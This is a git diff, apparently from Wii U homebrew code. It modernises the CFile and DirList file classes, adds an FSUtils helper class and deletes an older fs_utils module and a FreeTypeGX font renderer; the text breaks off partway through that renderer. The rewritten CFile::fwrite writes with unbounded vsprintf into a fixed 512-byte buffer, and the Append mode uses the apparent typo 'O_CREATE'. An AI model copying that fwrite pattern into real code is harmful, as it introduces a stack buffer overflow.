-1,127 +1,118 @@ + #include #include -#include "CFile.hpp" +#include +#include +#include -CFile::CFile() -{ - iFd = -1; - mem_file = NULL; - filesize = 0; - pos = 0; +CFile::CFile() { + iFd = -1; + mem_file = NULL; + filesize = 0; + pos = 0; } -CFile::CFile(const std::string & filepath, eOpenTypes mode) -{ - iFd = -1; - this->open(filepath, mode); +CFile::CFile(const std::string & filepath, eOpenTypes mode) { + iFd = -1; + this->open(filepath, mode); } -CFile::CFile(const u8 * mem, int size) -{ - iFd = -1; - this->open(mem, size); +CFile::CFile(const uint8_t * mem, int32_t size) { + iFd = -1; + this->open(mem, size); } -CFile::~CFile() -{ - this->close(); +CFile::~CFile() { + this->close(); } -int CFile::open(const std::string & filepath, eOpenTypes mode) -{ - this->close(); +int32_t CFile::open(const std::string & filepath, eOpenTypes mode) { + this->close(); + int32_t openMode = 0; - s32 openMode = 0; + // This depend on the devoptab implementation. + // see https://github.com/devkitPro/wut/blob/master/libraries/wutdevoptab/devoptab_fs_open.c#L21 fpr reference - switch(mode) - { + switch(mode) { default: - case ReadOnly: + case ReadOnly: // file must exist openMode = O_RDONLY; break; - case WriteOnly: - openMode = O_WRONLY; + case WriteOnly: // file will be created / zerod + openMode = O_TRUNC | O_CREAT | O_WRONLY; break; - case ReadWrite: + case ReadWrite: // file must exist openMode = O_RDWR; break; - case Append: - openMode = O_APPEND | O_WRONLY; + case Append: // append to file, file will be created if missing. write only + openMode = O_CREATE | O_APPEND | O_WRONLY; break; - } + } //! Using fopen works only on the first launch as expected //! on the second launch it causes issues because we don't overwrite //! the .data sections which is needed for a normal application to re-init //! this will be added with launching as RPX - iFd = ::open(filepath.c_str(), openMode); - if(iFd < 0) - return iFd; + iFd = ::open(filepath.c_str(), openMode); + if(iFd < 0) + return iFd; - filesize = ::lseek(iFd, 0, SEEK_END); - ::lseek(iFd, 0, SEEK_SET); + filesize = ::lseek(iFd, 0, SEEK_END); + ::lseek(iFd, 0, SEEK_SET); - return 0; + return 0; } -int CFile::open(const u8 * mem, int size) -{ - this->close(); +int32_t CFile::open(const uint8_t * mem, int32_t size) { + this->close(); - mem_file = mem; - filesize = size; + mem_file = mem; + filesize = size; - return 0; + return 0; } -void CFile::close() -{ - if(iFd >= 0) - ::close(iFd); +void CFile::close() { + if(iFd >= 0) + ::close(iFd); - iFd = -1; - mem_file = NULL; - filesize = 0; - pos = 0; + iFd = -1; + mem_file = NULL; + filesize = 0; + pos = 0; } -int CFile::read(u8 * ptr, size_t size) -{ - if(iFd >= 0) - { - int ret = ::read(iFd, ptr,size); - if(ret > 0) - pos += ret; - return ret; - } +int32_t CFile::read(uint8_t * ptr, size_t size) { + if(iFd >= 0) { + int32_t ret = ::read(iFd, ptr,size); + if(ret > 0) + pos += ret; + return ret; + } - int readsize = size; + int32_t readsize = size; - if(readsize > (s64) (filesize-pos)) - readsize = filesize-pos; + if(readsize > (int64_t) (filesize-pos)) + readsize = filesize-pos; - if(readsize <= 0) - return readsize; + if(readsize <= 0) + return readsize; - if(mem_file != NULL) - { - memcpy(ptr, mem_file+pos, readsize); - pos += readsize; - return readsize; - } + if(mem_file != NULL) { + memcpy(ptr, mem_file+pos, readsize); + pos += readsize; + return readsize; + } - return -1; + return -1; } -int CFile::write(const u8 * ptr, size_t size) -{ - if(iFd >= 0) - { - size_t done = 0; - while(done < size) - { - int ret = ::write(iFd, ptr, size - done); +int32_t CFile::write(const uint8_t * ptr, size_t size) { + if(iFd >= 0) { + size_t done = 0; + while(done < size) { + int32_t ret = ::write(iFd, ptr, size - done); if(ret <= 0) return ret; @@ -129,67 +120,54 @@ int CFile::write(const u8 * ptr, size_t size) done += ret; pos += ret; } - return done; - } + return done; + } - return -1; + return -1; } -int CFile::seek(long int offset, int origin) -{ - int ret = 0; - s64 newPos = pos; +int32_t CFile::seek(long int offset, int32_t origin) { + int32_t ret = 0; + int64_t newPos = pos; - if(origin == SEEK_SET) - { - newPos = offset; - } - else if(origin == SEEK_CUR) - { - newPos += offset; - } - else if(origin == SEEK_END) - { - newPos = filesize+offset; - } + if(origin == SEEK_SET) { + newPos = offset; + } else if(origin == SEEK_CUR) { + newPos += offset; + } else if(origin == SEEK_END) { + newPos = filesize+offset; + } - if(newPos < 0) - { - pos = 0; - } - else { + if(newPos < 0) { + pos = 0; + } else { pos = newPos; - } + } - if(iFd >= 0) - ret = ::lseek(iFd, pos, SEEK_SET); + if(iFd >= 0) + ret = ::lseek(iFd, pos, SEEK_SET); - if(mem_file != NULL) - { - if(pos > filesize) - { - pos = filesize; - } - } + if(mem_file != NULL) { + if(pos > filesize) { + pos = filesize; + } + } - return ret; + return ret; } -int CFile::fwrite(const char *format, ...) -{ - int result = -1; - char * tmp = NULL; +int32_t CFile::fwrite(const char *format, ...) { + char tmp[512]; + tmp[0] = 0; + int32_t result = -1; - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - result = this->write((u8 *)tmp, strlen(tmp)); - } - va_end(va); + va_list va; + va_start(va, format); + if((vsprintf(tmp, format, va) >= 0)) { + result = this->write((uint8_t *)tmp, strlen(tmp)); + } + va_end(va); - if(tmp) - free(tmp); return result; } diff --git a/src/fs/CFile.hpp b/src/fs/CFile.hpp index 0203162..8816a49 100644 --- a/src/fs/CFile.hpp +++ b/src/fs/CFile.hpp @@ -4,54 +4,58 @@ #include #include #include -#include #include -#include "common/types.h" +#include +#include -class CFile -{ - public: - enum eOpenTypes - { - ReadOnly, - WriteOnly, - ReadWrite, - Append - }; +class CFile { +public: + enum eOpenTypes { + ReadOnly, + WriteOnly, + ReadWrite, + Append + }; - CFile(); - CFile(const std::string & filepath, eOpenTypes mode); - CFile(const u8 * memory, int memsize); - virtual ~CFile(); + CFile(); + CFile(const std::string & filepath, eOpenTypes mode); + CFile(const uint8_t * memory, int32_t memsize); + virtual ~CFile(); - int open(const std::string & filepath, eOpenTypes mode); - int open(const u8 * memory, int memsize); + int32_t open(const std::string & filepath, eOpenTypes mode); + int32_t open(const uint8_t * memory, int32_t memsize); - bool isOpen() const { - if(iFd >= 0) - return true; + BOOL isOpen() const { + if(iFd >= 0) + return true; - if(mem_file) - return true; + if(mem_file) + return true; - return false; - } + return false; + } - void close(); + void close(); - int read(u8 * ptr, size_t size); - int write(const u8 * ptr, size_t size); - int fwrite(const char *format, ...); - int seek(long int offset, int origin); - u64 tell() { return pos; }; - u64 size() { return filesize; }; - void rewind() { this->seek(0, SEEK_SET); }; + int32_t read(uint8_t * ptr, size_t size); + int32_t write(const uint8_t * ptr, size_t size); + int32_t fwrite(const char *format, ...); + int32_t seek(long int offset, int32_t origin); + uint64_t tell() { + return pos; + }; + uint64_t size() { + return filesize; + }; + void rewind() { + this->seek(0, SEEK_SET); + }; - protected: - int iFd; - const u8 * mem_file; - u64 filesize; - u64 pos; +protected: + int32_t iFd; + const uint8_t * mem_file; + uint64_t filesize; + uint64_t pos; }; #endif diff --git a/src/fs/DirList.cpp b/src/fs/DirList.cpp index c37b504..450d4b6 100644 --- a/src/fs/DirList.cpp +++ b/src/fs/DirList.cpp @@ -28,205 +28,191 @@ #include #include #include +#include #include #include #include -#include "DirList.h" -#include "utils/StringTools.h" +#include +#include -DirList::DirList() -{ - Flags = 0; - Filter = 0; - Depth = 0; +DirList::DirList() { + Flags = 0; + Filter = 0; + Depth = 0; } -DirList::DirList(const std::string & path, const char *filter, u32 flags, u32 maxDepth) -{ - this->LoadPath(path, filter, flags, maxDepth); - this->SortList(); +DirList::DirList(const std::string & path, const char *filter, uint32_t flags, uint32_t maxDepth) { + this->LoadPath(path, filter, flags, maxDepth); + this->SortList(); } -DirList::~DirList() -{ - ClearList(); +DirList::~DirList() { + ClearList(); } -bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags, u32 maxDepth) -{ - if(folder.empty()) return false; +BOOL DirList::LoadPath(const std::string & folder, const char *filter, uint32_t flags, uint32_t maxDepth) { + if(folder.empty()) + return false; - Flags = flags; - Filter = filter; - Depth = maxDepth; + Flags = flags; + Filter = filter; + Depth = maxDepth; - std::string folderpath(folder); - u32 length = folderpath.size(); + std::string folderpath(folder); + uint32_t length = folderpath.size(); - //! clear path of double slashes - RemoveDoubleSlashs(folderpath); + //! clear path of double slashes + StringTools::RemoveDoubleSlashs(folderpath); - //! remove last slash if exists - if(length > 0 && folderpath[length-1] == '/') - folderpath.erase(length-1); + //! remove last slash if exists + if(length > 0 && folderpath[length-1] == '/') + folderpath.erase(length-1); //! add root slash if missing - if(folderpath.find('/') == std::string::npos) + if(folderpath.find('/') == std::string::npos) { folderpath += '/'; + } - return InternalLoadPath(folderpath); + return InternalLoadPath(folderpath); } -bool DirList::InternalLoadPath(std::string &folderpath) -{ - if(folderpath.size() < 3) - return false; +BOOL DirList::InternalLoadPath(std::string &folderpath) { + if(folderpath.size() < 3) + return false; - struct dirent *dirent = NULL; - DIR *dir = NULL; + struct dirent *dirent = NULL; + DIR *dir = NULL; - dir = opendir(folderpath.c_str()); - if (dir == NULL) - return false; + dir = opendir(folderpath.c_str()); + if (dir == NULL) + return false; - while ((dirent = readdir(dir)) != 0) - { - bool isDir = dirent->d_type & DT_DIR; - const char *filename = dirent->d_name; + while ((dirent = readdir(dir)) != 0) { + BOOL isDir = dirent->d_type & DT_DIR; + const char *filename = dirent->d_name; - if(isDir) - { - if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0) - continue; + if(isDir) { + if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0) + continue; - if((Flags & CheckSubfolders) && (Depth > 0)) - { - int length = folderpath.size(); - if(length > 2 && folderpath[length-1] != '/') - folderpath += '/'; - folderpath += filename; + if((Flags & CheckSubfolders) && (Depth > 0)) { + int32_t length = folderpath.size(); + if(length > 2 && folderpath[length-1] != '/') { + folderpath += '/'; + } + folderpath += filename; Depth--; - InternalLoadPath(folderpath); - folderpath.erase(length); - Depth++; - } + InternalLoadPath(folderpath); + folderpath.erase(length); + Depth++; + } - if(!(Flags & Dirs)) - continue; - } - else if(!(Flags & Files)) - { - continue; - } + if(!(Flags & Dirs)) + continue; + } else if(!(Flags & Files)) { + continue; + } - if(Filter) - { - char * fileext = strrchr(filename, '.'); - if(!fileext) - continue; + if(Filter) { + char * fileext = strrchr(filename, '.'); + if(!fileext) + continue; - if(strtokcmp(fileext, Filter, ",") == 0) - AddEntrie(folderpath, filename, isDir); - } - else - { - AddEntrie(folderpath, filename, isDir); - } - } - closedir(dir); + if(StringTools::strtokcmp(fileext, Filter, ",") == 0) + AddEntrie(folderpath, filename, isDir); + } else { + AddEntrie(folderpath, filename, isDir); + } + } + closedir(dir); - return true; + return true; } -void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir) -{ - if(!filename) - return; +void DirList::AddEntrie(const std::string &filepath, const char * filename, BOOL isDir) { + if(!filename) + return; - int pos = FileInfo.size(); + int32_t pos = FileInfo.size(); - FileInfo.resize(pos+1); + FileInfo.resize(pos+1); - FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2); - if(!FileInfo[pos].FilePath) - { - FileInfo.resize(pos); - return; - } + FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2); + if(!FileInfo[pos].FilePath) { + FileInfo.resize(pos); + return; + } - sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename); - FileInfo[pos].isDir = isDir; + sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename); + FileInfo[pos].isDir = isDir; } -void DirList::ClearList() -{ - for(u32 i = 0; i < FileInfo.size(); ++i) - { - if(FileInfo[i].FilePath) - free(FileInfo[i].FilePath); - } +void DirList::ClearList() { + for(uint32_t i = 0; i < FileInfo.size(); ++i) { + if(FileInfo[i].FilePath) { + free(FileInfo[i].FilePath); + FileInfo[i].FilePath = NULL; + } + } - FileInfo.clear(); - std::vector().swap(FileInfo); + FileInfo.clear(); + std::vector().swap(FileInfo); } -const char * DirList::GetFilename(int ind) const -{ - if (!valid(ind)) - return ""; +const char * DirList::GetFilename(int32_t ind) const { + if (!valid(ind)) + return ""; - return FullpathToFilename(FileInfo[ind].FilePath); + return StringTools::FullpathToFilename(FileInfo[ind].FilePath); } -static bool SortCallback(const DirEntry & f1, const DirEntry & f2) -{ - if(f1.isDir && !(f2.isDir)) return true; - if(!(f1.isDir) && f2.isDir) return false; +static BOOL SortCallback(const DirEntry & f1, const DirEntry & f2) { + if(f1.isDir && !(f2.isDir)) + return true; + if(!(f1.isDir) && f2.isDir) + return false; - if(f1.FilePath && !f2.FilePath) return true; - if(!f1.FilePath) return false; + if(f1.FilePath && !f2.FilePath) + return true; + if(!f1.FilePath) + return false; - if(strcasecmp(f1.FilePath, f2.FilePath) > 0) - return false; + if(strcasecmp(f1.FilePath, f2.FilePath) > 0) + return false; - return true; + return true; } -void DirList::SortList() -{ - if(FileInfo.size() > 1) - std::sort(FileInfo.begin(), FileInfo.end(), SortCallback); +void DirList::SortList() { + if(FileInfo.size() > 1) + std::sort(FileInfo.begin(), FileInfo.end(), SortCallback); } -void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)) -{ - if(FileInfo.size() > 1) - std::sort(FileInfo.begin(), FileInfo.end(), SortFunc); +void DirList::SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b)) { + if(FileInfo.size() > 1) + std::sort(FileInfo.begin(), FileInfo.end(), SortFunc); } -u64 DirList::GetFilesize(int index) const -{ - struct stat st; - const char *path = GetFilepath(index); +uint64_t DirList::GetFilesize(int32_t index) const { + struct stat st; + const char *path = GetFilepath(index); - if(!path || stat(path, &st) != 0) - return 0; + if(!path || stat(path, &st) != 0) + return 0; - return st.st_size; + return st.st_size; } -int DirList::GetFileIndex(const char *filename) const -{ - if(!filename) - return -1; +int32_t DirList::GetFileIndex(const char *filename) const { + if(!filename) + return -1; - for (u32 i = 0; i < FileInfo.size(); ++i) - { - if (strcasecmp(GetFilename(i), filename) == 0) - return i; - } + for (uint32_t i = 0; i < FileInfo.size(); ++i) { + if (strcasecmp(GetFilename(i), filename) == 0) + return i; + } - return -1; + return -1; } diff --git a/src/fs/DirList.h b/src/fs/DirList.h index ea5c20c..b9559aa 100644 --- a/src/fs/DirList.h +++ b/src/fs/DirList.h @@ -29,68 +29,78 @@ #include #include -#include "common/types.h" +#include -typedef struct -{ - char * FilePath; - bool isDir; +typedef struct { + char * FilePath; + BOOL isDir; } DirEntry; -class DirList -{ +class DirList { public: - //!Constructor - DirList(void); - //!\param path Path from where to load the filelist of all files - //!\param filter A fileext that needs to be filtered - //!\param flags search/filter flags from the enum - DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 maxDepth = 0xffffffff); - //!Destructor - virtual ~DirList(); - //! Load all the files from a directory - bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 maxDepth = 0xffffffff); - //! Get a filename of the list - //!\param list index - const char * GetFilename(int index) const; - //! Get the a filepath of the list - //!\param list index - const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; } - //! Get the a filesize of the list - //!\param list index - u64 GetFilesize(int index) const; - //! Is index a dir or a file - //!\param list index - bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; }; - //! Get the filecount of the whole list - int GetFilecount() const { return FileInfo.size(); }; - //! Sort list by filepath - void SortList(); - //! Custom sort command for custom sort functions definitions - void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)); - //! Get the index of the specified filename - int GetFileIndex(const char *filename) const; - //! Enum for search/filter flags - enum - { - Files = 0x01, - Dirs = 0x02, - CheckSubfolders = 0x08, - }; + //!Constructor + DirList(void); + //!\param path Path from where to load the filelist of all files + //!\param filter A fileext that needs to be filtered + //!\param flags search/filter flags from the enum + DirList(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff); + //!Destructor + virtual ~DirList(); + //! Load all the files from a directory + BOOL LoadPath(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff); + //! Get a filename of the list + //!\param list index + const char * GetFilename(int32_t index) const; + //! Get the a filepath of the list + //!\param list index + const char *GetFilepath(int32_t index) const { + if (!valid(index)) + return ""; + else + return FileInfo[index].FilePath; + } + //! Get the a filesize of the list + //!\param list index + uint64_t GetFilesize(int32_t index) const; + //! Is index a dir or a file + //!\param list index + BOOL IsDir(int32_t index) const { + if(!valid(index)) + return false; + return FileInfo[index].isDir; + }; + //! Get the filecount of the whole list + int32_t GetFilecount() const { + return FileInfo.size(); + }; + //! Sort list by filepath + void SortList(); + //! Custom sort command for custom sort functions definitions + void SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b)); + //! Get the index of the specified filename + int32_t GetFileIndex(const char *filename) const; + //! Enum for search/filter flags + enum { + Files = 0x01, + Dirs = 0x02, + CheckSubfolders = 0x08, + }; protected: - // Internal parser - bool InternalLoadPath(std::string &path); - //!Add a list entrie - void AddEntrie(const std::string &filepath, const char * filename, bool isDir); - //! Clear the list - void ClearList(); - //! Check if valid pos is requested - inline bool valid(u32 pos) const { return (pos < FileInfo.size()); }; + // Internal parser + BOOL InternalLoadPath(std::string &path); + //!Add a list entrie + void AddEntrie(const std::string &filepath, const char * filename, BOOL isDir); + //! Clear the list + void ClearList(); + //! Check if valid pos is requested + inline BOOL valid(uint32_t pos) const { + return (pos < FileInfo.size()); + }; - u32 Flags; - u32 Depth; - const char *Filter; - std::vector FileInfo; + uint32_t Flags; + uint32_t Depth; + const char *Filter; + std::vector FileInfo; }; #endif diff --git a/src/fs/FSUtils.cpp b/src/fs/FSUtils.cpp new file mode 100644 index 0000000..5a0579f --- /dev/null +++ b/src/fs/FSUtils.cpp @@ -0,0 +1,142 @@ +#include +#include +#include +#include +#include +#include "fs/FSUtils.h" +#include "fs/CFile.hpp" +#include "utils/logger.h" + +int32_t FSUtils::LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size) { + //! always initialze input + *inbuffer = NULL; + if(size) + *size = 0; + + int32_t iFd = open(filepath, O_RDONLY); + if (iFd < 0) + return -1; + + uint32_t filesize = lseek(iFd, 0, SEEK_END); + lseek(iFd, 0, SEEK_SET); + + uint8_t *buffer = (uint8_t *) malloc(filesize); + if (buffer == NULL) { + close(iFd); + return -2; + } + + uint32_t blocksize = 0x4000; + uint32_t done = 0; + int32_t readBytes = 0; + + while(done < filesize) { + if(done + blocksize > filesize) { + blocksize = filesize - done; + } + readBytes = read(iFd, buffer + done, blocksize); + if(readBytes <= 0) + break; + done += readBytes; + } + + close(iFd); + + if (done != filesize) { + free(buffer); + buffer = NULL; + return -3; + } + + *inbuffer = buffer; + + //! sign is optional input + if(size) { + *size = filesize; + } + + return filesize; +} + +int32_t FSUtils::CheckFile(const char * filepath) { + if(!filepath) + return 0; + + struct stat filestat; + + char dirnoslash[strlen(filepath)+2]; + snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); + + while(dirnoslash[strlen(dirnoslash)-1] == '/') + dirnoslash[strlen(dirnoslash)-1] = '\0'; + + char * notRoot = strrchr(dirnoslash, '/'); + if(!notRoot) { + strcat(dirnoslash, "/"); + } + + if (stat(dirnoslash, &filestat) == 0) + return 1; + + return 0; +} + +int32_t FSUtils::CreateSubfolder(const char * fullpath) { + if(!fullpath) + return 0; + + int32_t result = 0; + + char dirnoslash[strlen(fullpath)+1]; + strcpy(dirnoslash, fullpath); + + int32_t pos = strlen(dirnoslash)-1; + while(dirnoslash[pos] == '/') { + dirnoslash[pos] = '\0'; + pos--; + } + + if(CheckFile(dirnoslash)) { + return 1; + } else { + char parentpath[strlen(dirnoslash)+2]; + strcpy(parentpath, dirnoslash); + char * ptr = strrchr(parentpath, '/'); + + if(!ptr) { + //!Device root directory (must be with '/') + strcat(parentpath, "/"); + struct stat filestat; + if (stat(parentpath, &filestat) == 0) + return 1; + + return 0; + } + + ptr++; + ptr[0] = '\0'; + + result = CreateSubfolder(parentpath); + } + + if(!result) + return 0; + + if (mkdir(dirnoslash, 0777) == -1) { + return 0; + } + + return 1; +} + +int32_t FSUtils::saveBufferToFile(const char * path, void * buffer, uint32_t size) { + CFile file(path, CFile::WriteOnly); + if (!file.isOpen()) { + DEBUG_FUNCTION_LINE("Failed to open %s\n",path); + return 0; + } + int32_t written = file.write((const uint8_t*) buffer, size); + file.close(); + return written; +} + diff --git a/src/fs/FSUtils.h b/src/fs/FSUtils.h new file mode 100644 index 0000000..9ee748a --- /dev/null +++ b/src/fs/FSUtils.h @@ -0,0 +1,16 @@ +#ifndef __FS_UTILS_H_ +#define __FS_UTILS_H_ + +#include + +class FSUtils { +public: + static int32_t LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size); + + //! todo: C++ class + static int32_t CreateSubfolder(const char * fullpath); + static int32_t CheckFile(const char * filepath); + static int32_t saveBufferToFile(const char * path, void * buffer, uint32_t size); +}; + +#endif // __FS_UTILS_H_ diff --git a/src/fs/fs_utils.c b/src/fs/fs_utils.c deleted file mode 100644 index ffadd89..0000000 --- a/src/fs/fs_utils.c +++ /dev/null @@ -1,182 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#define FS_MAX_MOUNTPATH_SIZE 128 - -int MountFS(void *pClient, void *pCmd, char **mount_path) -{ - int result = -1; - - void *mountSrc = malloc(sizeof(FSMountSource)); - if(!mountSrc) - return -3; - - char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE); - if(!mountPath) { - free(mountSrc); - return -4; - } - - memset(mountSrc, 0, sizeof(FSMountSource)); - memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE); - - // Mount sdcard - if (FSGetMountSource(pClient, pCmd, FS_MOUNT_SOURCE_SD, mountSrc, -1) == 0) - { - result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); - if((result == 0) && mount_path) { - *mount_path = (char*)malloc(strlen(mountPath) + 1); - if(*mount_path) - strcpy(*mount_path, mountPath); - } - } - - free(mountPath); - free(mountSrc); - return result; -} - -int UmountFS(void *pClient, void *pCmd, const char *mountPath) -{ - int result = -1; - result = FSUnmount(pClient, pCmd, mountPath, -1); - - return result; -} - -int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size) -{ - //! always initialze input - *inbuffer = NULL; - if(size) - *size = 0; - - int iFd = open(filepath, O_RDONLY); - if (iFd < 0) - return -1; - - u32 filesize = lseek(iFd, 0, SEEK_END); - lseek(iFd, 0, SEEK_SET); - - u8 *buffer = (u8 *) malloc(filesize); - if (buffer == NULL) - { - close(iFd); - return -2; - } - - u32 blocksize = 0x4000; - u32 done = 0; - int readBytes = 0; - - while(done < filesize) - { - if(done + blocksize > filesize) { - blocksize = filesize - done; - } - readBytes = read(iFd, buffer + done, blocksize); - if(readBytes <= 0) - break; - done += readBytes; - } - - close(iFd); - - if (done != filesize) - { - free(buffer); - return -3; - } - - *inbuffer = buffer; - - //! sign is optional input - if(size) - *size = filesize; - - return filesize; -} - -int CheckFile(const char * filepath) -{ - if(!filepath) - return 0; - - struct stat filestat; - - char dirnoslash[strlen(filepath)+2]; - snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath); - - while(dirnoslash[strlen(dirnoslash)-1] == '/') - dirnoslash[strlen(dirnoslash)-1] = '\0'; - - char * notRoot = strrchr(dirnoslash, '/'); - if(!notRoot) - { - strcat(dirnoslash, "/"); - } - - if (stat(dirnoslash, &filestat) == 0) - return 1; - - return 0; -} - -int CreateSubfolder(const char * fullpath) -{ - if(!fullpath) - return 0; - - int result = 0; - - char dirnoslash[strlen(fullpath)+1]; - strcpy(dirnoslash, fullpath); - - int pos = strlen(dirnoslash)-1; - while(dirnoslash[pos] == '/') - { - dirnoslash[pos] = '\0'; - pos--; - } - - if(CheckFile(dirnoslash)) - { - return 1; - } - else - { - char parentpath[strlen(dirnoslash)+2]; - strcpy(parentpath, dirnoslash); - char * ptr = strrchr(parentpath, '/'); - - if(!ptr) - { - //!Device root directory (must be with '/') - strcat(parentpath, "/"); - struct stat filestat; - if (stat(parentpath, &filestat) == 0) - return 1; - - return 0; - } - - ptr++; - ptr[0] = '\0'; - - result = CreateSubfolder(parentpath); - } - - if(!result) - return 0; - - if (mkdir(dirnoslash, 0777) == -1) - { - return 0; - } - - return 1; -} diff --git a/src/fs/fs_utils.h b/src/fs/fs_utils.h deleted file mode 100644 index 5d4a05b..0000000 --- a/src/fs/fs_utils.h +++ /dev/null @@ -1,23 +0,0 @@ -#ifndef __FS_UTILS_H_ -#define __FS_UTILS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/types.h" - -int MountFS(void *pClient, void *pCmd, char **mount_path); -int UmountFS(void *pClient, void *pCmd, const char *mountPath); - -int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size); - -//! todo: C++ class -int CreateSubfolder(const char * fullpath); -int CheckFile(const char * filepath); - -#ifdef __cplusplus -} -#endif - -#endif // __FS_UTILS_H_ diff --git a/src/gui/FreeTypeGX.cpp b/src/gui/FreeTypeGX.cpp deleted file mode 100755 index c35432d..0000000 --- a/src/gui/FreeTypeGX.cpp +++ /dev/null @@ -1,608 +0,0 @@ -/* - * FreeTypeGX is a wrapper class for libFreeType which renders a compiled - * FreeType parsable font into a GX texture for Wii homebrew development. - * Copyright (C) 2008 Armin Tamzarian - * Modified by Dimok, 2015 for WiiU GX2 - * - * This file is part of FreeTypeGX. - * - * FreeTypeGX is free software: you can redistribute it and/or modify - * it under the terms of the GNU Lesser General Public License as published - * by the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * FreeTypeGX is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public License - * along with FreeTypeGX. If not, see . - */ - -#include "video/CVideo.h" -#include "video/shaders/Texture2DShader.h" -#include "FreeTypeGX.h" - -using namespace std; - -#define ALIGN4(x) (((x) + 3) & ~3) - -/** - * Default constructor for the FreeTypeGX class for WiiXplorer. - */ -FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace) -{ - int faceIndex = 0; - ftPointSize = 0; - GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_MODE_CLAMP_BORDER, GX2_TEX_XY_FILTER_MODE_LINEAR); - - FT_Init_FreeType(&ftLibrary); - if(lastFace) - { - FT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace); - faceIndex = ftFace->num_faces - 1; // Use the last face - FT_Done_Face(ftFace); - ftFace = NULL; - } - FT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace); - - ftKerningEnabled = FT_HAS_KERNING(ftFace); -} - -/** - * Default destructor for the FreeTypeGX class. - */ -FreeTypeGX::~FreeTypeGX() -{ - unloadFont(); - FT_Done_Face(ftFace); - FT_Done_FreeType(ftLibrary); -} - -/** - * Convert a short char string to a wide char string. - * - * This routine converts a supplied short character string into a wide character string. - * Note that it is the user's responsibility to clear the returned buffer once it is no longer needed. - * - * @param strChar Character string to be converted. - * @return Wide character representation of supplied character string. - */ - -wchar_t* FreeTypeGX::charToWideChar(const char* strChar) -{ - if (!strChar) return NULL; - - wchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1]; - if (!strWChar) return NULL; - - int bt = mbstowcs(strWChar, strChar, strlen(strChar)); - if (bt > 0) - { - strWChar[bt] = 0; - return strWChar; - } - - wchar_t *tempDest = strWChar; - while ((*tempDest++ = *strChar++)) - ; - - return strWChar; -} - -char *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar) -{ - if(!strChar) { - return NULL; - } - - size_t len = 0; - wchar_t wc; - - for (size_t i = 0; strChar[i]; ++i) - { - wc = strChar[i]; - if (wc < 0x80) - ++len; - else if (wc < 0x800) - len += 2; - else if (wc < 0x10000) - len += 3; - else - len += 4; - } - - char *pOut = new (std::nothrow) char[len]; - if(!pOut) - return NULL; - - size_t n = 0; - - for (size_t i = 0; strChar[i]; ++i) - { - wc = strChar[i]; - if (wc < 0x80) - pOut[n++] = (char)wc; - else if (wc < 0x800) - { - pOut[n++] = (char)((wc >> 6) | 0xC0); - pOut[n++] = (char)((wc & 0x3F) | 0x80); - } - else if (wc < 0x10000) - { - pOut[n++] = (char)((wc >> 12) | 0xE0); - pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); - pOut[n++] = (char)((wc & 0x3F) | 0x80); - } - else - { - pOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0); - pOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80); - pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); - pOut[n++] = (char)((wc & 0x3F) | 0x80); - } - } - return pOut; -} - -/** - * Clears all loaded font glyph data. - * - * This routine clears all members of the font map structure and frees all allocated memory back to the system. - */ -void FreeTypeGX::unloadFont() -{ - map::iterator itr; - map::iterator itr2; - - for (itr = fontData.begin(); itr != fontData.end(); itr++) - { - for (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++) - { - if(itr2->second.texture) - { - if(itr2->second.texture->surface.image) - free(itr2->second.texture->surface.image); - - delete itr2->second.texture; - itr2->second.texture = NULL; - } - } - } - - fontData.clear(); -} - -/** - * Caches the given font glyph in the instance font texture buffer. - * - * This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible - * structure within an instance-specific map. - * - * @param charCode The requested glyph's character code. - * @return A pointer to the allocated font structure. - */ -ftgxCharData * 